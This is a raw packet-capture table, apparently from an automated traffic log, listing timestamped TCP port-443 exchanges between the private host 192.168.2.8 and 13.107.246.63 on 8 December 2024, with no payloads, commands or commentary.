Dec 8, 2024 10:47:53.748830080 CET	443	49792	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:53.749069929 CET	49790	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:53.749100924 CET	443	49790	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:53.749489069 CET	49790	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:53.749495029 CET	443	49790	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:53.749978065 CET	49791	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:53.750000954 CET	443	49791	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:53.750288963 CET	49791	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:53.750289917 CET	49793	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:53.750293970 CET	443	49791	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:53.750303984 CET	443	49793	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:53.752820969 CET	49793	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:53.752825975 CET	443	49793	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:53.773015022 CET	443	49794	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:53.773720980 CET	49794	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:53.773744106 CET	443	49794	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:53.774550915 CET	49794	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:53.774555922 CET	443	49794	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.178090096 CET	443	49792	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.178168058 CET	443	49792	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.178219080 CET	49792	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.178430080 CET	49792	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.178450108 CET	443	49792	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.178463936 CET	49792	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.178469896 CET	443	49792	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.180530071 CET	443	49790	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.180610895 CET	443	49790	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.180617094 CET	443	49791	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.180672884 CET	49790	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.180704117 CET	443	49791	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.180752993 CET	49791	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.180891991 CET	49790	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.180907011 CET	443	49790	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.180926085 CET	49790	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.180931091 CET	443	49790	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.181694984 CET	443	49793	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.181766033 CET	443	49793	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.181855917 CET	49793	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.181952953 CET	49795	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.181991100 CET	443	49795	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.182058096 CET	49795	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.182216883 CET	49791	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.182240009 CET	443	49791	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.182248116 CET	49791	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.182254076 CET	443	49791	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.183571100 CET	49796	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.183600903 CET	443	49796	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.183602095 CET	49793	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.183602095 CET	49793	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.183615923 CET	443	49793	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.183625937 CET	443	49793	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.183681965 CET	49796	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.183716059 CET	49795	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.183728933 CET	443	49795	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.184262037 CET	49796	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.184273958 CET	443	49796	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.185007095 CET	49797	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.185036898 CET	443	49797	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.185142040 CET	49797	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.185280085 CET	49797	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.185293913 CET	443	49797	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.186306953 CET	49798	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.186316013 CET	443	49798	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.186424971 CET	49798	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.186541080 CET	49798	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.186553955 CET	443	49798	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.214133978 CET	443	49794	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.214211941 CET	443	49794	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.214288950 CET	49794	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.214458942 CET	49794	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.214479923 CET	443	49794	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.214493990 CET	49794	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.214499950 CET	443	49794	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.217500925 CET	49799	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.217534065 CET	443	49799	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:54.217601061 CET	49799	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.217744112 CET	49799	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:54.217758894 CET	443	49799	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:55.917706013 CET	443	49796	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:55.918657064 CET	49796	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:55.918657064 CET	49796	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:55.918689013 CET	443	49796	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:55.918705940 CET	443	49796	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:55.920042992 CET	443	49798	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:55.920062065 CET	443	49795	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:55.920221090 CET	443	49797	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:55.920870066 CET	49798	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:55.920870066 CET	49798	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:55.920886040 CET	443	49798	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:55.920895100 CET	443	49798	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:55.921246052 CET	49795	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:55.921274900 CET	443	49795	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:55.922030926 CET	49797	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:55.922036886 CET	49795	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:55.922040939 CET	443	49797	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:55.922048092 CET	443	49795	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:55.922427893 CET	49797	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:55.922432899 CET	443	49797	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:55.937866926 CET	443	49799	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:55.938246012 CET	49799	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:55.938260078 CET	443	49799	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:55.938762903 CET	49799	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:55.938771009 CET	443	49799	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.350761890 CET	443	49796	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.350827932 CET	443	49796	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.350886106 CET	49796	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.351136923 CET	49796	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.351161957 CET	443	49796	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.351172924 CET	49796	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.351177931 CET	443	49796	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.353167057 CET	443	49798	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.353207111 CET	443	49797	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.353236914 CET	443	49798	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.353277922 CET	443	49797	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.353292942 CET	49798	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.353360891 CET	49797	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.353584051 CET	49798	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.353590965 CET	443	49798	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.353601933 CET	49798	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.353605986 CET	443	49798	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.353662968 CET	49797	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.353683949 CET	443	49797	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.353698015 CET	49797	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.353704929 CET	443	49797	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.354378939 CET	443	49795	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.354444027 CET	443	49795	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.354490995 CET	49795	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.355201006 CET	49795	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.355201006 CET	49795	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.355218887 CET	443	49795	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.355232954 CET	443	49795	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.357122898 CET	49800	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.357167006 CET	443	49800	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.357229948 CET	49800	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.357765913 CET	49801	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.357815981 CET	443	49801	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.357881069 CET	49801	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.358047962 CET	49800	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.358063936 CET	443	49800	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.358434916 CET	49801	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.358449936 CET	443	49801	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.359966040 CET	49802	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.359991074 CET	443	49802	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.360043049 CET	49802	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.360173941 CET	49802	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.360186100 CET	443	49802	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.360282898 CET	49803	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.360296011 CET	443	49803	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.360347033 CET	49803	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.360477924 CET	49803	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.360486031 CET	443	49803	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.371366978 CET	443	49799	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.371448994 CET	443	49799	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.371510983 CET	49799	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.371654987 CET	49799	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.371654987 CET	49799	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.371669054 CET	443	49799	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.371680021 CET	443	49799	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.374914885 CET	49804	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.374964952 CET	443	49804	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:56.375030994 CET	49804	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.375348091 CET	49804	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:56.375361919 CET	443	49804	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.071522951 CET	443	49801	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.072002888 CET	49801	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.072033882 CET	443	49801	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.072253942 CET	443	49800	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.072666883 CET	49801	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.072673082 CET	443	49801	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.073054075 CET	49800	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.073075056 CET	443	49800	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.073498011 CET	49800	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.073504925 CET	443	49800	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.076741934 CET	443	49802	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.077081919 CET	49802	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.077097893 CET	443	49802	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.077534914 CET	443	49803	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.077671051 CET	49802	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.077677011 CET	443	49802	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.078000069 CET	49803	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.078006029 CET	443	49803	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.078583002 CET	49803	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.078586102 CET	443	49803	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.088845968 CET	443	49804	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.089298010 CET	49804	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.089323044 CET	443	49804	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.089884996 CET	49804	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.089891911 CET	443	49804	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.504977942 CET	443	49801	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.505053043 CET	443	49801	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.505109072 CET	49801	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.505362988 CET	49801	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.505388021 CET	443	49801	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.505409002 CET	49801	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.505417109 CET	443	49801	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.507247925 CET	443	49800	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.507322073 CET	443	49800	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.507415056 CET	49800	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.507535934 CET	49800	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.507555008 CET	443	49800	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.507567883 CET	49800	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.507574081 CET	443	49800	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.508542061 CET	49805	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.508582115 CET	443	49805	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.508671045 CET	49805	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.508840084 CET	49805	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.508850098 CET	443	49805	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.509880066 CET	443	49802	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.509931087 CET	443	49802	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.509994984 CET	49802	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.510112047 CET	49802	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.510112047 CET	49802	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.510123014 CET	443	49802	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.510130882 CET	443	49802	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.510828018 CET	49806	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.510862112 CET	443	49806	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.510951042 CET	49806	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.511121988 CET	49806	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.511136055 CET	443	49806	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.511250019 CET	443	49803	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.511320114 CET	443	49803	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.511368990 CET	49803	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.511462927 CET	49803	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.511468887 CET	443	49803	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.511481047 CET	49803	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.511485100 CET	443	49803	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.512872934 CET	49807	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.512893915 CET	443	49807	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.512970924 CET	49807	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.513092995 CET	49807	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.513104916 CET	443	49807	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.513983011 CET	49808	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.514003992 CET	443	49808	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.514096022 CET	49808	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.514219046 CET	49808	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.514231920 CET	443	49808	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.523294926 CET	443	49804	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.523367882 CET	443	49804	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.523423910 CET	49804	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.523505926 CET	49804	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.523514986 CET	443	49804	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.523551941 CET	49804	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.523556948 CET	443	49804	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.525748014 CET	49809	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.525765896 CET	443	49809	13.107.246.63	192.168.2.8
Dec 8, 2024 10:47:58.525839090 CET	49809	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.525993109 CET	49809	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:47:58.526005983 CET	443	49809	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.223977089 CET	443	49805	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.224714041 CET	49805	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.224741936 CET	443	49805	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.225414038 CET	49805	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.225423098 CET	443	49805	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.225737095 CET	443	49806	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.226181984 CET	49806	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.226211071 CET	443	49806	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.226871967 CET	49806	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.226881981 CET	443	49806	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.237349987 CET	443	49807	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.238063097 CET	49807	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.238090038 CET	443	49807	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.238686085 CET	49807	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.238697052 CET	443	49807	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.242580891 CET	443	49809	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.242968082 CET	49809	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.242997885 CET	443	49809	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.243562937 CET	49809	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.243568897 CET	443	49809	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.246349096 CET	443	49808	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.246799946 CET	49808	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.246834993 CET	443	49808	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.247211933 CET	49808	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.247216940 CET	443	49808	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.659229040 CET	443	49806	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.659311056 CET	443	49806	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.659379005 CET	49806	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.659890890 CET	49806	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.659890890 CET	49806	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.659909010 CET	443	49806	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.659917116 CET	443	49806	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.661823988 CET	443	49805	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.661884069 CET	443	49805	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.661938906 CET	49805	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.662121058 CET	49805	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.662121058 CET	49805	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.662138939 CET	443	49805	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.662149906 CET	443	49805	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.664123058 CET	49810	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.664191008 CET	443	49810	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.664366961 CET	49810	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.664989948 CET	49810	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.665015936 CET	443	49810	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.666580915 CET	49811	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.666619062 CET	443	49811	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.666677952 CET	49811	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.666846037 CET	49811	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.666857958 CET	443	49811	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.679406881 CET	443	49809	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.679553986 CET	443	49809	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.679609060 CET	49809	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.679716110 CET	49809	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.679725885 CET	443	49809	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.679733992 CET	49809	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.679738998 CET	443	49809	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.679930925 CET	443	49807	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.679996967 CET	443	49807	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.680048943 CET	49807	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.680139065 CET	49807	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.680150986 CET	443	49807	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.680177927 CET	49807	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.680185080 CET	443	49807	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.683279991 CET	49812	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.683305025 CET	443	49812	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.683351994 CET	49812	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.683820963 CET	49812	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.683835030 CET	443	49812	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.684060097 CET	49813	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.684083939 CET	443	49813	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.684168100 CET	49813	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.684187889 CET	443	49808	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.684257984 CET	443	49808	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.684393883 CET	49813	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.684402943 CET	443	49813	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.684401035 CET	49808	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.684489965 CET	49808	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.684489965 CET	49808	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.684513092 CET	443	49808	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.684518099 CET	443	49808	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.687477112 CET	49814	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.687494993 CET	443	49814	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:00.687550068 CET	49814	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.687722921 CET	49814	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:00.687731028 CET	443	49814	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.380485058 CET	443	49810	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.384601116 CET	443	49811	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.393397093 CET	49810	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.393441916 CET	443	49810	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.394234896 CET	49810	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.394249916 CET	443	49810	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.394659042 CET	49811	443	192.168.2.8	13.107.246.63
